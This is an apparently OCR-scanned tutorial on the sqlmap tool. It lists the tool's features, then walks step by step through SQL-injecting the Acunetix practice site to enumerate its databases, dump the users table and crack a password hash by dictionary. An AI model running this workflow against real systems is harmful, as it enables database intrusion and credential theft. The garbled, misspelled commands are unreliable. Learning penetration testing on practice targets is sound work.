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Introduction:

sqimap is an open source penetration testing tool that automates the
process of detecting and exploiting SQL injection flaws and taking over
of database servers. It comes with a powerful detection engine, many
niche features for the ultimate penetration tester and a broad range of
switches lasting from database fingerprinting, over data fetching from
the database, to accessing the underlying file system and executing
commands on the operating system via out-of-band connections.
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Features:

Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix
dotabose manogement systems.

Full support for six SQL injection techniques: hoolean-based blind, time-based blind,
error-based, UNION query-bhased, stacked queries and out-of-band.

Support to directly connect to the database without passing via a SQL injection, by
providing DBMS credentials, IP address, port and database name.

Support to enumerate users, password hashes, privileges, roles, databases,
tables and columns.

Automatic recognition of password hash formats and support for cracking them using a
dictionary-based attack.

Support to dump database tables entirely, o range of entries or specific columns as per user's
choice. The user can also choose to dump only o range of characters from each column's entry.
Support to search for specific database names, specific tables across all
databases or specific columns across all databases' tables. This is useful, for
instance, to identify tables containing custom application credentials where relevant columns' names
contain string like name and pass.

Support to download and upload any file from the dotabase server underlying file system
when the daotabase software is MySQL, PostgreSQL or Microsoft SQL Server.

Support to execute arbitrary commands and retrieve their standard output on
the dotabase server underlying operating system when the database software is MySQL, PostgreSQL
or Microsoft SQL Server.

Support to establish an out-of-band stateful TCP connection between the
attacker machine and the database server underlying operating system. This channel
can be an interactive command prompt, o Meterpreter session or a graphical user interface (VNC)
Session as per user's choice.

Support for database process® user privilege escalation vio Metasploit's Meterpreter
getsystem command.
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Execution Over Kali Linux:

Step 1:

Find the Get Method of the website by checking all the link and submitting the

input.

i.e. ’something=something

http://test.php.vulnweb.com/search.php?test=query
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home | categories

search art
| |[go ]

Browse categories
Browse artists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

Links

Security art
Fractal Explorer

artists | disclaimer | your cart | guestbook | AJAX Demo

welcome to our page

Test site for Acunetix WVS.
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Step 2:

http://test.php.vulnweb.com/search.php?test=query - - dbs

Find The Name Of Database Of The Website

B ol inux e Worlat:
File Edit View VM Tabs Help > | D) Lol i =

1o} Home | [ kali linwx 2016.1 % || [5)] windows 7 x64

vailable databases [Z]:
“] acuart
‘] information schema

‘] shutting down at 22:15:34

The name of the Database is Acuart.
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Step 3:
Finding all tables in the database

http://test.php.vulnweb.com/search.php?test=query —D acurat - -tables
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_ Activities Terminal v Thu 20:50

root@kali: ~ 0O
| File Edit View Search Terminal Help :
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Step 4:
Collecting Information about users table.

http://test.php.vulnweb.com/search.php?test=query —D acurat —T users
—dump

File Edit View Search Terminal Help

S ock -end DBMS: MySQL 5.0.12

=)
I[*] shutting down at 51:47

~# sglmap -u http:/ .test.php.vulnweb.ce search.php?test=query -D
acuart -T users --dump
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(rHome | (5 kalilinux 2016.1 | (5 Windows 7 x64
Activities Terminal ~ Thu 20:54

l root@kali: ~ - 0 <)
| File Edit View Search Terminal Help f

glmap resumed the following injection point(s) from sto

(SLEEP(5))) fPvK) AND 'Rkgy'='

ALL SELECT NULL

hack-end DBMS is MySQL

lication Mginx, PHP 5.3.10

DBMS :

pdo you want to store hashes to a temporary file for eventual further processing
with other tools [y/N] |}

System is asking For the dictionary because the password is in the mdS
form.
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Activities Terminal = Thu 20:54

l root@kali: ~ 60
| File Edit View Search Terminal Help :

Ewhat dictionary do you want to use?
& [1] default dictionary file '/fusr/share/sqlmap/txt/wordlist.zip' (press Enter)
M[2] custom dictionary file

[3] file with list of dictionary files

After Searching the password in the Default wordlist we find the user
name is test and password is also test
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{3} Home: (53! keali linux 2016.1
do you want to crack them via a dictionary-based attack? [Y/n/q]

Windows 7 x64

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)
[2] custom dictionary file

[3] file with list of dictionary files
>

do you want to use common password suffixes? (slow!) [y/N]

| pass uname | phone

To direct input to this VM, move the mouse pointer inside or press Ctrl+G
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